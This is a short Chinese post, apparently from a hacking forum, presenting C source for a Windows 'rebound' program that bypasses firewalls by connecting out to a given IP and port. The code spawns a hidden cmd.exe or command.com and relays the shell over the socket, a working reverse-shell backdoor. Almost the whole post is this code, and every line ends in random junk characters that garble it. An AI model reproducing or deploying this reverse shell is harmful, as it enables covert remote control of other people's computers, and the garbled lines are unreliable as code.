这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 (7vF/7BZ|_
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/* ============================== -)w@f~Q
Rebound port in Windows NT =m!-m\B/
By wind,2006/7 N:S/SZI
===============================*/ |z9*GY6RU
#include ZGBd%RWjG_
#include }u\])I3
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#pragma comment(lib,"wsock32.lib") V\>K]mwD
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void OutputShell(); Jb0`42
SOCKET sClient; tRs [ YK
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; p)jk>j B
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void main(int argc,char **argv) :y+2*lV
{ ]s]vZ
WSADATA stWsaData; RmI]1S_=
int nRet; <lgYcdJ
SOCKADDR_IN stSaiClient,stSaiServer; u8'Zl8g
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if(argc != 3) tClg*A;|B
{ lNy.g{2f<m
printf("Useage:\n\rRebound DestIP DestPort\n"); ;!=G
return; ,$@bE
} 6@Y_*4$|
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WSAStartup(MAKEWORD(2,2),&stWsaData); hB"fhX
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 2POXj!N
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stSaiClient.sin_family = AF_INET; v:f}XK<
stSaiClient.sin_port = htons(0); ]%hn`ZJ
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); s6H]J{1F
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) ],>@";9u"
{ ?~l6K(*2
printf("Bind Socket Failed!\n"); q['Euy
return; J28M@cn
} Tre]"2l
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stSaiServer.sin_family = AF_INET; !F*5M1Kjd
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7TgOK
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); \MsTB|Z
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) .!Qki@
{ (iBNZ7sJ
printf("Connect Error!"); /@wg>&L]
return; DjCqh-&L
} `EEL1[:BR
OutputShell(); +M./@U*g
} c#XXp"7k2
j:^#rFD4?
void OutputShell() 9`T)@Uj2n
{ HD@$t)mn
char szBuff[1024]; 18)'c?^.
SECURITY_ATTRIBUTES stSecurityAttributes; 3]OE}[R
OSVERSIONINFO stOsversionInfo; o~U$GBg
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; e{h<g>7
STARTUPINFO stStartupInfo; rDD:7*z
char *szShell; HeK/7IAqp
PROCESS_INFORMATION stProcessInformation;
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unsigned long lBytesRead; l\E%+?K+^
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); $'0u |Xy`
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); I.WvLLK2
stSecurityAttributes.lpSecurityDescriptor = 0; XQrF4l
stSecurityAttributes.bInheritHandle = TRUE; vV'EZ?
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); ^Xuvy{TkPH
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); ^7>3a/
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); <>n0arAn
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; >Y&N8PHD
stStartupInfo.wShowWindow = SW_HIDE; wc0jhHZO
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stStartupInfo.hStdInput = hReadPipe; rR$h*
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; }^4Xv^dW>g
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GetVersionEx(&stOsversionInfo); G[B=>Cy
H ;7(}:.
switch(stOsversionInfo.dwPlatformId) :lX!\(E2
{ K#l:wH_
case 1: _ ?TN;
szShell = "command.com"; gMv.V{vD
break; )}''L{k-
default: q?,).x
nN
szShell = "cmd.exe"; kJWn<5%ayg
break; K}2Erm%A@y
} ^aIPN5CK
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); ~{?_p@&n
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send(sClient,szMsg,77,0); 7@#>bE6
while(1) 4]rnY~
{ pny11C
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ylUrLQ\
if(lBytesRead) #m lS}~n
{ Hh%I0#
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); Jx_cf9{
send(sClient,szBuff,lBytesRead,0); _G_Cj{w
} lackB2J9 A
else R7]l{2V#^
{ TSA,WP\
lBytesRead=recv(sClient,szBuff,1024,0); KMt`XaC9e
if(lBytesRead<=0) break; {.n"Z
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); +~St !QV%
} 2:*w~|6>}5
} [l:x'_y
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return; r~[Ia!U ?
}